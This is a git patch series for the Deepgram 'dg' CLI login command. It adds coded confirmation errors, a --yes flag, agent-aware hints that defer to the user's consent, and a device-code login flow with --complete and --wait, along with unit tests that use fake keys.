diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py
index 1363f330..4355d336 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/models.py
@@ -1,9 +1,31 @@
 """Models for login command."""
 
+from typing import Any
+
 from deepctl_core import BaseResult
+from deepctl_core.models import CodedErrorResult
 from pydantic import Field
 
 
+class LoginCodedError(CodedErrorResult):
+    """A 0.5.0 coded error from ``dg login``, keys in the catalogue's order.
+
+    ``next_step`` is always present (null when no command fixes it);
+    ``details`` is left out when there are none. The 0.4.1 coded
+    errors login also returns keep their keys.
+    """
+
+    next_step: str | None = None
+    schema_version: int = 1
+    details: dict[str, Any] | None = None
+
+    def model_dump(self, **kwargs: Any) -> dict[str, Any]:
+        data = super().model_dump(**kwargs)
+        if not data.get("details"):
+            data.pop("details", None)
+        return data
+
+
 class LoginResult(BaseResult):
     """Return structure for `deepctl login` command."""
 
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_command.py b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
index 71019c7b..1a913932 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_command.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
@@ -183,8 +183,10 @@ def mock_client():
 
 @pytest.fixture
 def login_command():
-    """Create a login command instance."""
-    return LoginCommand()
+    """A login command run by a person in a terminal (its prompts can show)."""
+    cmd = LoginCommand()
+    cmd._can_ask = lambda: True  # type: ignore[method-assign]
+    return cmd
 
 
 class TestLoginCommand:
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_confirm.py b/packages/deepctl-cmd-login/tests/unit/test_login_confirm.py
new file mode 100644
index 00000000..4dc72000
--- /dev/null
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_confirm.py
@@ -0,0 +1,307 @@
+"""`dg login` takes any key the API accepts, and a confirmation nobody can
+answer is `confirmation_required` naming --yes, never a silent cancel."""
+
+from __future__ import annotations
+
+import json
+import sys
+
+import pytest
+import yaml
+from deepctl_cmd_login import command as login_module
+from deepctl_cmd_login.command import LoginCommand
+from deepctl_cmd_login.models import LoginCodedError
+from deepctl_core import AuthManager, Config, DeepgramClient, hosts, output
+from deepctl_core import auth as auth_module
+
+HEX_KEY = "0123456789abcdef0123456789abcdef01234567"  # 40 hex, no prefix
+SK_KEY = "sk-LGNFAKEKEY0000000000000000"
+
+
+@pytest.fixture(autouse=True)
+def _isolated(tmp_path, monkeypatch):
+    monkeypatch.chdir(tmp_path)
+    monkeypatch.setenv("HOME", str(tmp_path / "home"))
+    monkeypatch.setattr(
+        "deepctl_core.config._default_config_file",
+        lambda: tmp_path / "user" / "config.yaml",
+    )
+    monkeypatch.setattr(
+        "deepctl_core.config._trust_root_location",
+        lambda: (tmp_path, tmp_path / "user" / "config.yaml"),
+    )
+    monkeypatch.setattr(hosts, "_reported", set())
+    monkeypatch.setattr(output, "_hints_shown", set())
+    for name in ("is_agentic", "is_ai_agent"):
+        monkeypatch.setattr(output, name, lambda: False)
+        monkeypatch.setattr(login_module, name, lambda: False)
+    monkeypatch.setattr(login_module, "_interactive_terminal", lambda: False)
+    monkeypatch.setattr(login_module, "_prog", lambda: "dg")
+    monkeypatch.setattr(sys, "argv", ["dg", "login"])
+    monkeypatch.delenv("DEEPGRAM_API_KEY", raising=False)
+    monkeypatch.delenv("DEEPGRAM_PROJECT_ID", raising=False)
+    saved = dict(output._output_config)
+    output._output_config.update(agentic=True, quiet=False, format="json")
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    stored: dict[str, str] = {}
+    monkeypatch.setattr(
+        auth_module.keyring,
+        "set_password",
+        lambda service, name, value: stored.__setitem__(name, value),
+    )
+    monkeypatch.setattr(
+        auth_module.keyring, "get_password", lambda service, name: stored.get(name)
+    )
+    monkeypatch.setattr(
+        auth_module.keyring, "delete_password", lambda service, name: stored.pop(name)
+    )
+    monkeypatch.setattr(LoginCommand, "_maybe_prompt_skills_setup", lambda self: None)
+    monkeypatch.setattr(
+        LoginCommand, "confirm", lambda *a, **k: pytest.fail("prompted")
+    )
+    yield stored
+    output._output_config.clear()
+    output._output_config.update(saved)
+
+
+@pytest.fixture
+def keyring_store(_isolated):
+    return _isolated
+
+
+@pytest.fixture
+def verified(monkeypatch):
+    """The key check succeeds without a network call; records each key."""
+    keys: list[str] = []
+
+    def verify(self, api_key=None, project_id=None):
+        keys.append(api_key)
+        return True, "ok", None
+
+    monkeypatch.setattr(AuthManager, "verify_credentials", verify)
+    return keys
+
+
+def run(tmp_path, *, user=None, **kwargs):
+    path = tmp_path / "user" / "config.yaml"
+    path.parent.mkdir(exist_ok=True)
+    if user is not None or not path.exists():
+        path.write_text(yaml.safe_dump(user or {}))
+    config = Config(config_path=str(path))
+    auth = AuthManager(config)
+    cmd = LoginCommand()
+    result = cmd.handle(config, auth, DeepgramClient(config, auth), **kwargs)
+    return cmd, result, path
+
+
+def payload(result):
+    """The JSON a run writes to stdout for ``result``."""
+    return json.loads(json.dumps(result.model_dump()))
+
+
+# ── No key-prefix heuristic ──────────────────────────────────────
+
+
+@pytest.mark.parametrize("key", [HEX_KEY, SK_KEY])
+def test_any_key_the_api_accepts_logs_in(
+    tmp_path, verified, keyring_store, key, capsys
+):
+    _, result, _ = run(tmp_path, api_key=key)
+    assert result.status == "success"
+    assert verified == [key]
+    assert keyring_store == {"api-key.default": key}
+    captured = capsys.readouterr()
+    assert "format" not in captured.out + captured.err
+    assert key not in captured.out + captured.err
+
+
+def test_auth_manager_has_no_prefix_warning(tmp_path, verified, capsys):
+    config = Config(config_path=str(tmp_path / "c.yaml"))
+    AuthManager(config).login_with_api_key(HEX_KEY)
+    captured = capsys.readouterr()
+    assert "pattern" not in captured.out + captured.err
+
+
+# ── The env-key and re-login traps ───────────────────────────────
+
+
+def test_env_key_with_api_key_flag_is_confirmation_required(
+    tmp_path, verified, keyring_store, monkeypatch, capsys
+):
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "envkey")
+    monkeypatch.setattr(sys, "argv", ["dg", "login", "--api-key", HEX_KEY])
+    cmd, result, path = run(tmp_path, api_key=HEX_KEY)
+    assert isinstance(result, LoginCodedError)
+    assert payload(result) == {
+        "error": (
+            "DEEPGRAM_API_KEY is set, and logging in saves a profile that dg will "
+            "use instead of it."
+        ),
+        "status": "error",
+        "code": "confirmation_required",
+        # The key is on argv, so no runnable command can be given.
+        "hint": (
+            "This job's DEEPGRAM_API_KEY is used without a login. Drop the login "
+            "step, or add --yes if a saved profile is intended."
+        ),
+        "next_step": None,
+        "schema_version": 1,
+        "details": {"flag": "--yes"},
+    }
+    assert list(payload(result)) == [
+        "error",
+        "status",
+        "code",
+        "hint",
+        "next_step",
+        "schema_version",
+        "details",
+    ]
+    assert cmd.exit_code_for(result) == 1
+    assert verified == [] and keyring_store == {}
+    assert yaml.safe_load(path.read_text()) == {}
+    err = capsys.readouterr().err
+    assert err.startswith("ERROR: DEEPGRAM_API_KEY is set")
+    assert "HINT: This job's DEEPGRAM_API_KEY" in err
+    assert HEX_KEY not in err
+
+
+def test_env_key_bare_login_names_login_yes(tmp_path, monkeypatch):
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "envkey")
+    monkeypatch.setattr(login_module, "is_ai_agent", lambda: True)
+    _, result, _ = run(tmp_path)
+    assert result.code == "confirmation_required"
+    assert result.next_step == "dg login --yes"
+    assert result.details == {"flag": "--yes"}
+    assert result.hint == (
+        "Run next_step only if the user agrees: the saved login will then take "
+        "precedence over DEEPGRAM_API_KEY."
+    )
+
+
+def saved_login(tmp_path):
+    return {"profiles": {"default": {"api_key": "saved-key-0000"}}}
+
+
+def test_relogin_is_confirmation_required(tmp_path, verified, monkeypatch):
+    monkeypatch.setattr(
+        sys, "argv", ["dg", "-o", "json", "login", "--profile", "default"]
+    )
+    _, result, path = run(tmp_path, user=saved_login(tmp_path), profile="default")
+    assert result.code == "confirmation_required"
+    assert result.error == 'Profile "default" already has a saved login.'
+    assert result.next_step == "dg -o json login --profile default --yes"
+    assert result.details == {"flag": "--yes"}
+    assert result.hint == "Run the command in next_step only if the user agrees."
+    assert verified == []
+    assert yaml.safe_load(path.read_text()) == saved_login(tmp_path)
+
+
+def test_relogin_with_key_on_argv_has_no_next_step(tmp_path, verified, monkeypatch):
+    monkeypatch.setattr(login_module, "is_ai_agent", lambda: True)
+    monkeypatch.setattr(sys, "argv", ["dg", "login", "-k", HEX_KEY])
+    _, result, _ = run(tmp_path, user=saved_login(tmp_path), api_key=HEX_KEY)
+    assert result.next_step is None
+    assert result.hint == (
+        "Ask the user to rerun the command with --yes in their own terminal if "
+        "they agree."
+    )
+    assert HEX_KEY not in json.dumps(payload(result))
+
+
+def test_human_without_a_terminal_is_told_to_add_yes(tmp_path, monkeypatch, capsys):
+    output._output_config.update(agentic=False, format="default")
+    _, result, _ = run(tmp_path, user=saved_login(tmp_path))
+    assert result.code == "confirmation_required"
+    assert result.hint == "To go ahead, run the command again with --yes."
+    err = capsys.readouterr().err
+    assert "already has a saved login" in err
+
+
+@pytest.mark.parametrize("flag", ["yes", "force_write"])
+def test_yes_and_force_write_answer_both_traps(
+    tmp_path, verified, keyring_store, monkeypatch, flag
+):
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "envkey")
+    _, result, _ = run(
+        tmp_path, user=saved_login(tmp_path), api_key=HEX_KEY, **{flag: True}
+    )
+    assert result.status == "success"
+    assert keyring_store == {"api-key.default": HEX_KEY}
+
+
+def test_no_trap_ever_returns_cancelled(tmp_path, monkeypatch):
+    """Ledger 18: without a person saying No, nothing is `cancelled`."""
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "envkey")
+    for user in ({}, saved_login(tmp_path)):
+        _, result, _ = run(tmp_path, user=user, api_key=HEX_KEY)
+        assert result.status == "error" and result.code == "confirmation_required"
+
+
+def test_a_person_still_gets_the_prompt(tmp_path, monkeypatch):
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "envkey")
+    asked: list[str] = []
+
+    def confirm(self, message, default=False):
+        asked.append(message)
+        return False
+
+    monkeypatch.setattr(LoginCommand, "confirm", confirm)
+    monkeypatch.setattr(LoginCommand, "_can_ask", lambda self: True)
+    _, result, _ = run(tmp_path, api_key=HEX_KEY)
+    assert asked == ["Do you still want to login with a profile?"]
+    assert result.status == "cancelled"  # the person said No
+
+
+def test_can_ask_needs_a_person_at_a_terminal(monkeypatch):
+    cmd = LoginCommand()
+    monkeypatch.setattr(login_module, "_interactive_terminal", lambda: True)
+    monkeypatch.setattr(LoginCommand, "can_prompt", lambda self: True)
+    assert cmd._can_ask() is True
+    monkeypatch.setattr(login_module, "is_ai_agent", lambda: True)
+    assert cmd._can_ask() is False
+    monkeypatch.setattr(login_module, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(login_module, "_interactive_terminal", lambda: False)
+    assert cmd._can_ask() is False
+
+
+# ── next_step construction ───────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "argv",
+    [
+        ["login", "--api-key", "K"],
+        ["login", "--api-key=K"],
+        ["login", "-k", "K"],
+        ["login", "-kK"],
+        ["--api-key", "K", "login"],
+        ["--base-url", "https://user:pw@example.com", "login"],
+        ["--base-url", "https://example.com/?token=1", "login"],
+    ],
+)
+def test_secret_bearing_argv_has_no_next_step(monkeypatch, argv):
+    monkeypatch.setattr(sys, "argv", ["dg", *argv])
+    assert login_module._secret_in(argv) is True
+    assert login_module._rerun_with_yes("dg") is None
+
+
+def test_rerun_quotes_and_refuses_unsafe_tokens(monkeypatch):
+    monkeypatch.setattr(sys, "argv", ["dg", "login", "--profile", "my work"])
+    assert login_module._rerun_with_yes("dg") == "dg login --profile 'my work' --yes"
+    monkeypatch.setattr(sys, "argv", ["dg", "login", "--profile", "=x"])
+    assert login_module._rerun_with_yes("dg") is None
+    monkeypatch.setattr(sys, "argv", ["dg", "login"])
+    assert login_module._rerun_with_yes(None) is None
+
+
+def test_details_is_left_out_when_empty():
+    err = LoginCodedError(error="e", code="c", hint="h", next_step=None)
+    assert list(err.model_dump()) == [
+        "error",
+        "status",
+        "code",
+        "hint",
+        "next_step",
+        "schema_version",
+    ]
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index f9d3c7ff..42ae5da3 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -575,12 +575,6 @@ def login_with_api_key(
             project_id: Deepgram project ID (optional — can be set later)
             force_write: Skip confirmation prompts
         """
-        # Validate API key format (basic check)
-        if not api_key.startswith(("sk-", "pk-")):
-            console.print(
-                "[red]Warning:[/red] API key format doesn't match expected pattern"
-            )
-
         # Verify API key (and project if provided)
         console.print("[dim]Verifying credentials...[/dim]")
         success, message, error_type = self.verify_credentials(
diff --git a/packages/deepctl-core/src/deepctl_core/base_command.py b/packages/deepctl-core/src/deepctl_core/base_command.py
index ca6af5b9..14830062 100644
--- a/packages/deepctl-core/src/deepctl_core/base_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_command.py
@@ -479,6 +479,18 @@ def _output_csv(self, result: Any) -> None:
             # Fallback to JSON
             self._output_json(result)
 
+    def can_prompt(self) -> bool:
+        """Whether this run may ask a question at all.
+
+        False in an agentic or non-interactive context, for a command that
+        isn't CI-friendly, and when the command was given any input (see
+        ``is_guided``). A command that must not fall back to a default
+        answers an unanswerable prompt itself (``confirmation_required``).
+        """
+        return not (
+            _agentic or not self.ci_friendly or not getattr(self, "_guided", True)
+        )
+
     def confirm(self, message: str, default: bool = False) -> bool:
         """Ask for user confirmation.
 
@@ -487,9 +499,10 @@ def confirm(self, message: str, default: bool = False) -> bool:
             default: Default value if user just presses Enter
 
         Returns:
-            True if confirmed, False otherwise
+            True if confirmed, False otherwise; ``default`` when
+            ``can_prompt()`` is False
         """
-        if _agentic or not self.ci_friendly or not getattr(self, "_guided", True):
+        if not self.can_prompt():
             return default
 
         try:
diff --git a/packages/deepctl-core/src/deepctl_core/messages.py b/packages/deepctl-core/src/deepctl_core/messages.py
index 73a60597..18618905 100644
--- a/packages/deepctl-core/src/deepctl_core/messages.py
+++ b/packages/deepctl-core/src/deepctl_core/messages.py
@@ -134,6 +134,34 @@
 E_PERSON_ONLY_AGENT_HINT = (
     "A person must run this command. If you are an AI agent, ask the user."
 )
+# A login prompt that can't be shown (catalogue strings). Hints:
+# H = person, A = AI agent, C = automation (CI, cron); *_NULL when next_step
+# is null. {prog} is the running executable.
+E_CONFIRM_ENVKEY = (
+    "DEEPGRAM_API_KEY is set, and logging in saves a profile that {prog} will "
+    "use instead of it."
+)
+A_CONFIRM_ENVKEY = (
+    "Run next_step only if the user agrees: the saved login will then take "
+    "precedence over DEEPGRAM_API_KEY."
+)
+A_CONFIRM_ENVKEY_NULL = (
+    "Ask the user whether to save a login profile; {prog} will then use it "
+    "instead of DEEPGRAM_API_KEY. Never put a key on the command line."
+)
+C_CONFIRM_ENVKEY_NULL = (
+    "This job's DEEPGRAM_API_KEY is used without a login. Drop the login step, "
+    "or add --yes if a saved profile is intended."
+)
+E_CONFIRM_RELOGIN = 'Profile "{profile}" already has a saved login.'
+H_CONFIRM_YES = "To go ahead, run the command again with --yes."
+A_CONFIRM_YES = "Run the command in next_step only if the user agrees."
+A_CONFIRM_YES_NULL = (
+    "Ask the user to rerun the command with --yes in their own terminal if they agree."
+)
+C_CONFIRM_YES_NULL = (
+    "Add --yes to this command in the job if replacing the saved login is intended."
+)
 E_SAVE_CUSTOM_CONFIG = (
     "--save-base-url can't be used with --config: only the default user "
     "config ({user_config}) can approve API hosts. Run the command without "
diff --git a/src/deepctl/_manifest.d/login.json b/src/deepctl/_manifest.d/login.json
index 4f01b621..700e53ed 100644
--- a/src/deepctl/_manifest.d/login.json
+++ b/src/deepctl/_manifest.d/login.json
@@ -78,7 +78,29 @@
         "is_flag": true,
         "count": false,
         "hidden": false,
-        "help": "Don't prompt for confirmation when providing credentials"
+        "help": "Same as --yes"
+      },
+      {
+        "class": "option",
+        "name": "yes",
+        "opts": [
+          "--yes",
+          "-y"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Save without asking, even if DEEPGRAM_API_KEY is set or the profile already has a saved login (--save-base-url still asks)"
       },
       {
         "class": "option",

From 582c3f0474823a54ed276eeebc3acfd1266029d3 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 01:16:25 -0400
Subject: [PATCH 12/88] feat(login): let agents finish device login with
 --complete

In an AI agent session (or with DG_AGENT=1, --no-browser, or neither
stdin nor stdout a terminal), dg login now asks for a device code,
saves it and returns at once with the link and code (status "pending",
exit 0). dg login --complete checks once: auth_pending
with details.retry_after until the user approves, then saves the key
as before; auth_denied or auth_expired otherwise, and auth_expired with
next_step "dg login" when no login is waiting. --wait keeps 0.4.0's
behavior of polling until done; a person at a terminal still gets it
by default.

The pending code lives in {state_dir}/login-pending.json: written 0600
through O_CREAT|O_EXCL|O_NOFOLLOW and an atomic replace, in a 0700
directory, holding the device code, interval, expiry, login host and
profile, never a key. state_dir() is ~/.deepctl, the one state-dir
helper later changes reuse. In an AI agent session the file must be
owned by this user with no group or other write bit; otherwise it is
ignored with one WARN: line and left in place. A code is only sent back
to the login host that issued it.

Before any request, login checks that it could save the result: an
unwritable state or config directory is state_unwritable
(E-STATE-UNWRITABLE); in an AI agent session, a user config dg won't
save over is state_unwritable with details.reason "untrusted_config".
Both come before the --yes confirmations, and both apply
to --api-key and --complete too. A home dg can't write no longer stops
every command while Config picks its default path.

The token poll is a POST to the RFC 8628 token endpoint, so the device
code never lands in a URL, and a fixed device name replaces this
machine's hostname. Polls are at least 6 s apart whatever the server
asks; slow_down, 429 and server errors back off by 5 s or the server's
Retry-After, and --wait keeps polling through them until the code
expires. A device-code answer that isn't a JSON object is
network_unavailable. The login link must be https (or loopback http).

Status lines go to stderr. In mode A they are dropped, and the link and
code are an INFO: line; a person's terminal shows the same line instead
of the separate code and link lines. --complete refuses --profile for
another profile than the pending login's, and --save-base-url. The
legacy config migration prints to stderr.
---
 .../src/deepctl_cmd_login/command.py          | 578 +++++++++++++-
 .../src/deepctl_cmd_login/models.py           |  11 +
 .../tests/unit/test_login_base_url.py         |   1 +
 .../tests/unit/test_login_command.py          |  10 +-
 .../tests/unit/test_login_device_agent.py     | 715 ++++++++++++++++++
 .../tests/unit/test_login_strings.py          |  79 ++
 .../deepctl-core/src/deepctl_core/auth.py     | 275 +++++--
 .../deepctl-core/src/deepctl_core/config.py   |  21 +-
 .../src/deepctl_core/login_state.py           | 307 ++++++++
 .../deepctl-core/src/deepctl_core/messages.py |  67 ++
 packages/deepctl-core/tests/unit/test_auth.py | 172 ++++-
 .../tests/unit/test_config_login.py           |  36 +
 .../tests/unit/test_login_state.py            | 186 +++++
 src/deepctl/_manifest.d/login.json            |  65 +-
 14 files changed, 2397 insertions(+), 126 deletions(-)
 create mode 100644 packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
 create mode 100644 packages/deepctl-cmd-login/tests/unit/test_login_strings.py
 create mode 100644 packages/deepctl-core/src/deepctl_core/login_state.py
 create mode 100644 packages/deepctl-core/tests/unit/test_config_login.py
 create mode 100644 packages/deepctl-core/tests/unit/test_login_state.py

diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index 820c12ff..0f073e7e 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1,10 +1,15 @@
 """Login command for deepctl."""
 
+import dataclasses
 import os
 import shlex
 import shutil
 import sys
-from typing import Any
+import time
+from collections.abc import Iterator
+from contextlib import contextmanager
+from pathlib import Path
+from typing import TYPE_CHECKING, Any, TextIO
 from urllib.parse import urlsplit
 
 import click
@@ -23,6 +28,8 @@
     is_ai_agent,
 )
 from deepctl_core import messages as msg
+from deepctl_core.auth import DeviceCodeUnreadable
+from deepctl_core.config import ConfigSaveRefused
 from deepctl_core.hosts import (
     SOURCE_ENV,
     SOURCE_FLAG,
@@ -37,21 +44,44 @@
     report,
     user_config_display,
 )
+from deepctl_core.login_state import (
+    MIN_POLL_INTERVAL,
+    LoadedPending,
+    PendingLogin,
+    load_pending,
+    remove_pending,
+    save_pending,
+    state_dir,
+    unwritable_dir,
+)
 from deepctl_core.output import (
     _output_config,
     print_error,
     print_error_hint,
     print_hint,
     print_info,
+    print_security_warning,
     print_warning,
+    stderr_console,
 )
 from rich.console import Console
 from rich.markup import escape
 from rich.prompt import Prompt
 
-from .models import LoginCodedError, LoginResult, LogoutResult, WhoamiResult
+if TYPE_CHECKING:
+    from deepctl_core.auth import DeviceCodeResponse
+
+from .models import (
+    LoginCodedError,
+    LoginPendingResult,
+    LoginResult,
+    LogoutResult,
+    WhoamiResult,
+)
 
 console = Console()
+# Status chrome of the login flows: stderr, never the payload's stdout.
+status = stderr_console
 
 _PROG_NAMES = ("dg", "deepgram", "deepctl")
 _YES_FLAG = "--yes"
@@ -129,6 +159,11 @@ def _rerun_with_yes(prog: str | None) -> str | None:
     return step if shlex.join(shlex.split(step)) == step else None
 
 
+def _hard_signal() -> bool:
+    """An AI agent marked the environment, or ``DG_AGENT=1`` says one runs dg."""
+    return is_ai_agent() or os.environ.get("DG_AGENT") == "1"
+
+
 def _hint_for(
     human: str,
     agent: str,
@@ -138,7 +173,7 @@ def _hint_for(
     automation_null: str | None = None,
 ) -> str:
     """The hint for this run's mode, null-aware."""
-    if is_ai_agent():
+    if _hard_signal():
         return agent_null if next_step is None and agent_null else agent
     if _output_config["agentic"]:
         if next_step is None:
@@ -162,6 +197,145 @@ def _coded_error(
     )
 
 
+# Mode A stderr grammar: every line a caller reads starts with
+# one of these. Anything else a login flow prints is status chrome.
+_MODE_A_PREFIXES = (
+    "ERROR: ",
+    "WARN: ",
+    "INFO: ",
+    "HINT: ",
+    "OK: ",
+    "DEPRECATED: ",
+)
+
+
+class _ModeAStderr:
+    """``sys.stderr`` in mode A: each write that starts a line is kept or
+    dropped as a whole. With ``verbose``, chrome is kept as ``INFO:`` lines
+    instead of dropped."""
+
+    def __init__(self, stream: TextIO, verbose: bool = False) -> None:
+        self._stream = stream
+        self._verbose = verbose
+        self._keep = True
+        self._line_start = True
+
+    def write(self, text: str) -> int:
+        if not text:
+            return 0
+        if self._line_start:
+            first = text.lstrip("\n").split("\n", 1)[0]
+            prefixed = first.startswith(_MODE_A_PREFIXES)
+            self._keep = bool(first.strip()) and (prefixed or self._verbose)
+            if self._keep and not prefixed:
+                lines = [line for line in text.strip("\n").split("\n") if line.strip()]
+                text = "".join(f"INFO: {line.strip()}\n" for line in lines)
+        if self._keep:
+            self._stream.write(text)
+        self._line_start = text.endswith("\n")
+        return len(text)
+
+    def __getattr__(self, name: str) -> Any:
+        return getattr(self._stream, name)
+
+
+@contextmanager
+def _without_chrome() -> Iterator[None]:
+    """In mode A, drop status chrome from stderr (``INFO:`` lines with
+    --verbose)."""
+    if not _output_config["agentic"]:
+        yield
+        return
+    real = sys.stderr
+    sys.stderr = _ModeAStderr(real, verbose=bool(_output_config["verbose"]))
+    try:
+        yield
+    finally:
+        sys.stderr = real
+
+
+def _shown_prog(prog: str | None) -> str:
+    return prog or _PROG_NAMES[0]
+
+
+def _state_unwritable(directory: Path) -> LoginCodedError:
+    shown = _shown_prog(_prog())
+    return _coded_error(
+        msg.E_STATE_UNWRITABLE.format(prog=shown, dir=msg.display_path(directory)),
+        msg.CODE_STATE_UNWRITABLE,
+        _hint_for(
+            msg.H_STATE_UNWRITABLE.format(prog=shown),
+            msg.A_STATE_UNWRITABLE.format(prog=shown),
+            None,
+        ),
+        None,
+        {"dir": str(directory)},
+    )
+
+
+def _preflight(config: Config) -> Any | None:
+    """Stop before any request when the login couldn't be saved.
+
+    In order: the state or credential directory isn't writable
+    (``E-STATE-UNWRITABLE``); then, in an AI agent session, the user config
+    is one dg won't save over (``E-CFG-SAVE-UNTRUSTED``). Both
+    come before the confirmations, so an agent is never told to pass --yes
+    for a save that would fail.
+    """
+    config_path = Path(config.config_path)
+    for directory, file in (
+        (state_dir(), None),
+        (config_path.parent, config_path),
+    ):
+        bad = unwritable_dir(directory, file)
+        if bad is not None:
+            return _state_unwritable(bad)
+    try:
+        config.check_saveable()
+    except ConfigSaveRefused as e:
+        shown = _shown_prog(_prog())
+        return _coded_error(
+            msg.E_CFG_SAVE_UNTRUSTED.format(
+                prog=shown,
+                path=msg.display_path(config_path),
+                why=msg.W_CFG_UNTRUSTED_WHY[e.why],
+            ),
+            msg.CODE_STATE_UNWRITABLE,
+            msg.W_CFG_UNTRUSTED_FILE_HINT,
+            None,
+            {"reason": "untrusted_config", "path": str(config_path)},
+        )
+    except OSError as e:
+        # A save that can't happen for another reason (not a regular file,
+        # content that wouldn't load back): stop before sending anything.
+        print_error(escape(f"Login failed: {e}"))
+        print_error_hint(e)
+        return LoginResult(
+            status="error",
+            message=str(e),
+            profile=config.profile or "default",
+            api_key_masked=None,
+        )
+    return None
+
+
+def _device_code_unreadable(host: str) -> LoginCodedError:
+    """The identity provider's device-code answer couldn't be read."""
+    shown = _shown_prog(_prog())
+    values = {"host": msg.display(host), "prog": shown}
+    return _coded_error(
+        msg.E_NETWORK_UNREADABLE.format(**values),
+        msg.CODE_NETWORK_UNAVAILABLE,
+        _hint_for(
+            msg.H_NETWORK_UNREADABLE.format(**values),
+            msg.A_NETWORK_UNREADABLE,
+            None,
+        ),
+        None,
+        {"host": msg.display(host), "reason": "unreadable response"},
+    )
+
+
 def _confirmation_required(error: str, next_step: str | None, hint: str) -> Any:
     return _coded_error(
         error,
@@ -190,16 +364,18 @@ class LoginCommand(BaseCommand):
 
     examples = [
         "dg login",
+        "dg login --no-browser",
+        "dg login --complete",
         "dg login --api-key YOUR_API_KEY",
         "dg login --api-key YOUR_KEY --project-id YOUR_PROJECT",
         "dg login --profile staging --api-key YOUR_KEY",
         "dg --base-url https://api.eu.deepgram.com login --save-base-url",
     ]
     agent_help = (
-        "Authenticate with Deepgram. Can accept an API key directly via "
-        "--api-key flag, or prompt interactively. Credentials are stored "
-        "securely in the system keyring. Supports named profiles for "
-        "managing multiple environments."
+        "Log in to Deepgram. In an AI agent session, dg login prints a link "
+        "and code and exits: give both to the user, then run dg login "
+        "--complete (add --wait to keep checking). Never put an API key on "
+        "the command line. Profiles keep separate API keys and project IDs."
     )
 
     def get_arguments(self) -> list[dict[str, Any]]:
@@ -241,6 +417,35 @@ def get_arguments(self) -> list[dict[str, Any]]:
                 "required": False,
                 "is_option": True,
             },
+            {
+                "names": ["--no-browser"],
+                "help": (
+                    "Print the login link and code instead of opening a browser, "
+                    "then exit; finish with --complete, or add --wait to wait here"
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
+            {
+                "names": ["--complete"],
+                "help": (
+                    "Finish a pending browser login: check once whether it was "
+                    "approved, and save the key if it was (add --wait to keep "
+                    "checking)"
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
+            {
+                "names": ["--wait"],
+                "help": (
+                    "Wait until the browser login is approved (the default in a "
+                    "terminal), instead of exiting with the link and code; with "
+                    "--complete, keep checking"
+                ),
+                "is_flag": True,
+                "is_option": True,
+            },
             {
                 "names": ["--save-base-url"],
                 "help": (
@@ -260,11 +465,18 @@ def handle(
         **kwargs: Any,
     ) -> Any:
         """Handle login command."""
+        with _without_chrome():
+            return self._login(config, auth_manager, **kwargs)
+
+    def _login(self, config: Config, auth_manager: AuthManager, **kwargs: Any) -> Any:
         api_key = kwargs.get("api_key")
         project_id = kwargs.get("project_id")
         force_write = bool(kwargs.get("yes") or kwargs.get("force_write"))
         profile = kwargs.get("profile")
         save_base_url = kwargs.get("save_base_url", False)
+        complete = bool(kwargs.get("complete"))
+        wait = bool(kwargs.get("wait"))
+        no_browser = bool(kwargs.get("no_browser"))
 
         # Set profile if provided
         if profile:
@@ -272,6 +484,18 @@ def handle(
 
         current_profile = config.profile or "default"
 
+        if complete:
+            if api_key:
+                raise click.UsageError("--complete can't be used with --api-key.")
+            if save_base_url:
+                raise click.UsageError("--complete can't be used with --save-base-url.")
+            return self._complete(config, auth_manager, wait=wait)
+
+        # Nothing is asked or sent when the login couldn't be saved.
+        stop = _preflight(config)
+        if stop is not None:
+            return stop
+
         # Decide where the key may go before doing anything else. A base URL
         # from --base-url or DEEPGRAM_BASE_URL is used for this login only;
         # --save-base-url, confirmed by a person, is the one way to save it.
@@ -313,21 +537,21 @@ def handle(
                         automation_null=msg.C_CONFIRM_ENVKEY_NULL,
                     ),
                 )
-            console.print(
+            status.print(
                 "[yellow]Environment variable DEEPGRAM_API_KEY is set.[/yellow]"
             )
             if has_env_project:
-                console.print(
+                status.print(
                     "[yellow]Environment variable DEEPGRAM_PROJECT_ID is also set.[/yellow]\n"
                     "[green]Commands will work using these environment variables.[/green]"
                 )
             else:
-                console.print(
+                status.print(
                     "[yellow]Note: DEEPGRAM_PROJECT_ID is not set. "
                     "You'll need to set it or provide it via --project-id flag.[/yellow]"
                 )
 
-            console.print(
+            status.print(
                 "\n[dim]Logging in will create a profile that takes precedence "
                 "over environment variables.[/dim]"
             )
@@ -361,7 +585,7 @@ def handle(
                         automation_null=msg.C_CONFIRM_YES_NULL,
                     ),
                 )
-            console.print(
+            status.print(
